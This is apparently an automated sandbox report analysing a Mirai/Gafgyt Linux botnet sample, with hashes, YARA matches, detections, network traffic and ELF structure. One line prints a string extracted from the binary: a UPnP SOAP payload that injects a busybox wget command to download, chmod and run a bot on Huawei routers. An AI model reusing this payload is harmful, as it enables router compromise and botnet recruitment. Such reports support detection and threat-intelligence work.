Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
cbr.x86.elf

Overview

General Information

Sample name:cbr.x86.elf
Analysis ID:1582623
MD5:6051c19aee177ba0f2bde4664d26afc1
SHA1:fdb4704440360361db71e542e060d6f4d4b9ee42
SHA256:eca05f2b461fdd132c2f565fa72c3f6c60e705d42e03572b3b592dd70b11834e
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:84
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Machine Learning detection for sample
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Yara signature match

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1582623
Start date and time:2024-12-31 05:57:05 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 26s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:cbr.x86.elf
Detection:MAL
Classification:mal84.troj.linELF@0/0@0/0
Command:/tmp/cbr.x86.elf
PID:6243
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • cbr.x86.elf (PID: 6243, Parent: 6166, MD5: 6051c19aee177ba0f2bde4664d26afc1) Arguments: /tmp/cbr.x86.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
cbr.x86.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    cbr.x86.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      cbr.x86.elfLinux_Trojan_Gafgyt_9e9530a7unknownunknown
      • 0x7064:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
      cbr.x86.elfLinux_Trojan_Gafgyt_d4227dbfunknownunknown
      • 0x4eba:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
      • 0x4f1e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
      • 0x4fd9:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
      cbr.x86.elfLinux_Trojan_Gafgyt_d996d335unknownunknown
      • 0xae3e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
      Click to see the 2 entries
      SourceRuleDescriptionAuthorStrings
      6243.1.0000000000400000.000000000040e000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        6243.1.0000000000400000.000000000040e000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          6243.1.0000000000400000.000000000040e000.r-x.sdmpLinux_Trojan_Gafgyt_9e9530a7unknownunknown
          • 0x7064:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
          6243.1.0000000000400000.000000000040e000.r-x.sdmpLinux_Trojan_Gafgyt_d4227dbfunknownunknown
          • 0x4eba:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
          • 0x4f1e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
          • 0x4fd9:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
          6243.1.0000000000400000.000000000040e000.r-x.sdmpLinux_Trojan_Gafgyt_d996d335unknownunknown
          • 0xae3e:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
          Click to see the 3 entries
          No Suricata rule has matched

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Source: cbr.x86.elfAvira: detected
          Source: cbr.x86.elfReversingLabs: Detection: 50%
          Source: cbr.x86.elfJoe Sandbox ML: detected
          Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
          Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
          Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
          Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
          Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
          Source: cbr.x86.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
          Source: cbr.x86.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
          Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443

          System Summary

          barindex
          Source: cbr.x86.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
          Source: cbr.x86.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
          Source: cbr.x86.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
          Source: cbr.x86.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
          Source: cbr.x86.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
          Source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
          Source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
          Source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
          Source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
          Source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
          Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
          Source: ELF static info symbol of initial sample.symtab present: no
          Source: cbr.x86.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
          Source: cbr.x86.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
          Source: cbr.x86.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
          Source: cbr.x86.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
          Source: cbr.x86.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
          Source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
          Source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
          Source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
          Source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
          Source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
          Source: classification engineClassification label: mal84.troj.linELF@0/0@0/0

          Stealing of Sensitive Information

          barindex
          Source: Yara matchFile source: cbr.x86.elf, type: SAMPLE
          Source: Yara matchFile source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: cbr.x86.elf PID: 6243, type: MEMORYSTR

          Remote Access Functionality

          barindex
          Source: Yara matchFile source: cbr.x86.elf, type: SAMPLE
          Source: Yara matchFile source: 6243.1.0000000000400000.000000000040e000.r-x.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: cbr.x86.elf PID: 6243, type: MEMORYSTR
          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
          Encrypted Channel
          Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
          Application Layer Protocol
          Exfiltration Over BluetoothNetwork Denial of Service
          No configs have been found
          SourceDetectionScannerLabelLink
          cbr.x86.elf50%ReversingLabsLinux.Trojan.Mirai
          cbr.x86.elf100%AviraEXP/ELF.Mirai.W
          cbr.x86.elf100%Joe Sandbox ML
          No Antivirus matches
          No Antivirus matches
          No Antivirus matches
          No contacted domains info
          NameSourceMaliciousAntivirus DetectionReputation
          http://schemas.xmlsoap.org/soap/encoding/cbr.x86.elffalse
            high
            http://schemas.xmlsoap.org/soap/envelope/cbr.x86.elffalse
              high
              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs
              IPDomainCountryFlagASNASN NameMalicious
              109.202.202.202
              unknownSwitzerland
              13030INIT7CHfalse
              91.189.91.43
              unknownUnited Kingdom
              41231CANONICAL-ASGBfalse
              91.189.91.42
              unknownUnited Kingdom
              41231CANONICAL-ASGBfalse
              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
              • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
              91.189.91.43Aqua.arm6.elfGet hashmaliciousMiraiBrowse
                rjnven64.elfGet hashmaliciousMiraiBrowse
                  i.elfGet hashmaliciousUnknownBrowse
                    boatnet.spc.elfGet hashmaliciousMiraiBrowse
                      boatnet.x86.elfGet hashmaliciousMiraiBrowse
                        i.elfGet hashmaliciousUnknownBrowse
                          boatnet.mpsl.elfGet hashmaliciousMiraiBrowse
                            boatnet.arm5.elfGet hashmaliciousMiraiBrowse
                              boatnet.sh4.elfGet hashmaliciousMiraiBrowse
                                kwari.m68k.elfGet hashmaliciousUnknownBrowse
                                  91.189.91.42Aqua.arm6.elfGet hashmaliciousMiraiBrowse
                                    rjnven64.elfGet hashmaliciousMiraiBrowse
                                      i.elfGet hashmaliciousUnknownBrowse
                                        boatnet.arm6.elfGet hashmaliciousMiraiBrowse
                                          boatnet.spc.elfGet hashmaliciousMiraiBrowse
                                            boatnet.x86.elfGet hashmaliciousMiraiBrowse
                                              i.elfGet hashmaliciousUnknownBrowse
                                                boatnet.mpsl.elfGet hashmaliciousMiraiBrowse
                                                  boatnet.arm5.elfGet hashmaliciousMiraiBrowse
                                                    boatnet.sh4.elfGet hashmaliciousMiraiBrowse
                                                      No context
                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      CANONICAL-ASGBAqua.arm6.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      rjnven64.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      i.elfGet hashmaliciousUnknownBrowse
                                                      • 91.189.91.42
                                                      boatnet.arm6.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      boatnet.spc.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      boatnet.x86.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      i.elfGet hashmaliciousUnknownBrowse
                                                      • 91.189.91.42
                                                      boatnet.mpsl.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      boatnet.arm5.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      boatnet.sh4.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      CANONICAL-ASGBAqua.arm6.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      rjnven64.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      i.elfGet hashmaliciousUnknownBrowse
                                                      • 91.189.91.42
                                                      boatnet.arm6.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      boatnet.spc.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      boatnet.x86.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      i.elfGet hashmaliciousUnknownBrowse
                                                      • 91.189.91.42
                                                      boatnet.mpsl.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      boatnet.arm5.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      boatnet.sh4.elfGet hashmaliciousMiraiBrowse
                                                      • 91.189.91.42
                                                      INIT7CHAqua.arm6.elfGet hashmaliciousMiraiBrowse
                                                      • 109.202.202.202
                                                      rjnven64.elfGet hashmaliciousMiraiBrowse
                                                      • 109.202.202.202
                                                      i.elfGet hashmaliciousUnknownBrowse
                                                      • 109.202.202.202
                                                      boatnet.arm6.elfGet hashmaliciousMiraiBrowse
                                                      • 109.202.202.202
                                                      boatnet.spc.elfGet hashmaliciousMiraiBrowse
                                                      • 109.202.202.202
                                                      boatnet.x86.elfGet hashmaliciousMiraiBrowse
                                                      • 109.202.202.202
                                                      i.elfGet hashmaliciousUnknownBrowse
                                                      • 109.202.202.202
                                                      boatnet.mpsl.elfGet hashmaliciousMiraiBrowse
                                                      • 109.202.202.202
                                                      boatnet.arm5.elfGet hashmaliciousMiraiBrowse
                                                      • 109.202.202.202
                                                      boatnet.sh4.elfGet hashmaliciousMiraiBrowse
                                                      • 109.202.202.202
                                                      No context
                                                      No context
                                                      No created / dropped files found
                                                      File type:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
                                                      Entropy (8bit):5.367503030377856
                                                      TrID:
                                                      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                      File name:cbr.x86.elf
                                                      File size:74'240 bytes
                                                      MD5:6051c19aee177ba0f2bde4664d26afc1
                                                      SHA1:fdb4704440360361db71e542e060d6f4d4b9ee42
                                                      SHA256:eca05f2b461fdd132c2f565fa72c3f6c60e705d42e03572b3b592dd70b11834e
                                                      SHA512:410b685b943187f0cd28f5cdefe4b93ea1228ecb3c972d194c5133cfd97dc14c229090a3f36bce7ab0a8f61fecf30cc55067b6c272162779f299d2757c8eadbb
                                                      SSDEEP:1536:dKlGb1HTszjpGXJMdybvpfCHh9wXxsc6:d2SNqjhybRS+B
                                                      TLSH:D1735C13208150FDC99DD2BCDADE56219633B8B822A6B60CB3D4FD126A4DF132E79774
                                                      File Content Preview:.ELF..............>.......@.....@...................@.8...@.......................@.......@.....................................8.......8.P.......P......'......pn..............Q.td....................................................H...._........H........

                                                      ELF header

                                                      Class:ELF64
                                                      Data:2's complement, little endian
                                                      Version:1 (current)
                                                      Machine:Advanced Micro Devices X86-64
                                                      Version Number:0x1
                                                      Type:EXEC (Executable file)
                                                      OS/ABI:UNIX - System V
                                                      ABI Version:0
                                                      Entry Point Address:0x400194
                                                      Flags:0x0
                                                      ELF Header Size:64
                                                      Program Header Offset:64
                                                      Program Header Size:56
                                                      Number of Program Headers:3
                                                      Section Header Offset:73600
                                                      Section Header Size:64
                                                      Number of Section Headers:10
                                                      Header String Table Index:9
                                                      NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                      NULL0x00x00x00x00x0000
                                                      .initPROGBITS0x4000e80xe80x130x00x6AX001
                                                      .textPROGBITS0x4001000x1000xb5d20x00x6AX0016
                                                      .finiPROGBITS0x40b6d20xb6d20xe0x00x6AX001
                                                      .rodataPROGBITS0x40b6e00xb6e00x1f080x00x2A0016
                                                      .ctorsPROGBITS0x50f8380x11a880x100x00x3WA008
                                                      .dtorsPROGBITS0x50f8480x11a980x100x00x3WA008
                                                      .dataPROGBITS0x50f8600x11ab00x4900x00x3WA0016
                                                      .bssNOBITS0x50fd000x11f400x69a80x00x3WA0032
                                                      .shstrtabSTRTAB0x00x11f400x3e0x00x0001
                                                      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                      LOAD0x00x4000000x4000000xd5e80xd5e86.51860x5R E0x100000.init .text .fini .rodata
                                                      LOAD0xf8380x50f8380x50d5e80x27080x106e700.52460x6RW 0x100000.ctors .dtors .data .bss
                                                      GNU_STACK0x00x00x00x00x00.00000x6RW 0x8
                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Dec 31, 2024 05:57:51.265392065 CET43928443192.168.2.2391.189.91.42
                                                      Dec 31, 2024 05:57:56.640644073 CET42836443192.168.2.2391.189.91.43
                                                      Dec 31, 2024 05:57:57.920543909 CET4251680192.168.2.23109.202.202.202
                                                      Dec 31, 2024 05:58:12.510494947 CET43928443192.168.2.2391.189.91.42
                                                      Dec 31, 2024 05:58:22.749022007 CET42836443192.168.2.2391.189.91.43
                                                      Dec 31, 2024 05:58:28.892443895 CET4251680192.168.2.23109.202.202.202
                                                      Dec 31, 2024 05:58:53.464662075 CET43928443192.168.2.2391.189.91.42
                                                      Dec 31, 2024 05:59:13.941724062 CET42836443192.168.2.2391.189.91.43

                                                      System Behavior

                                                      Start time (UTC):04:57:47
                                                      Start date (UTC):31/12/2024
                                                      Path:/tmp/cbr.x86.elf
                                                      Arguments:/tmp/cbr.x86.elf
                                                      File size:74240 bytes
                                                      MD5 hash:6051c19aee177ba0f2bde4664d26afc1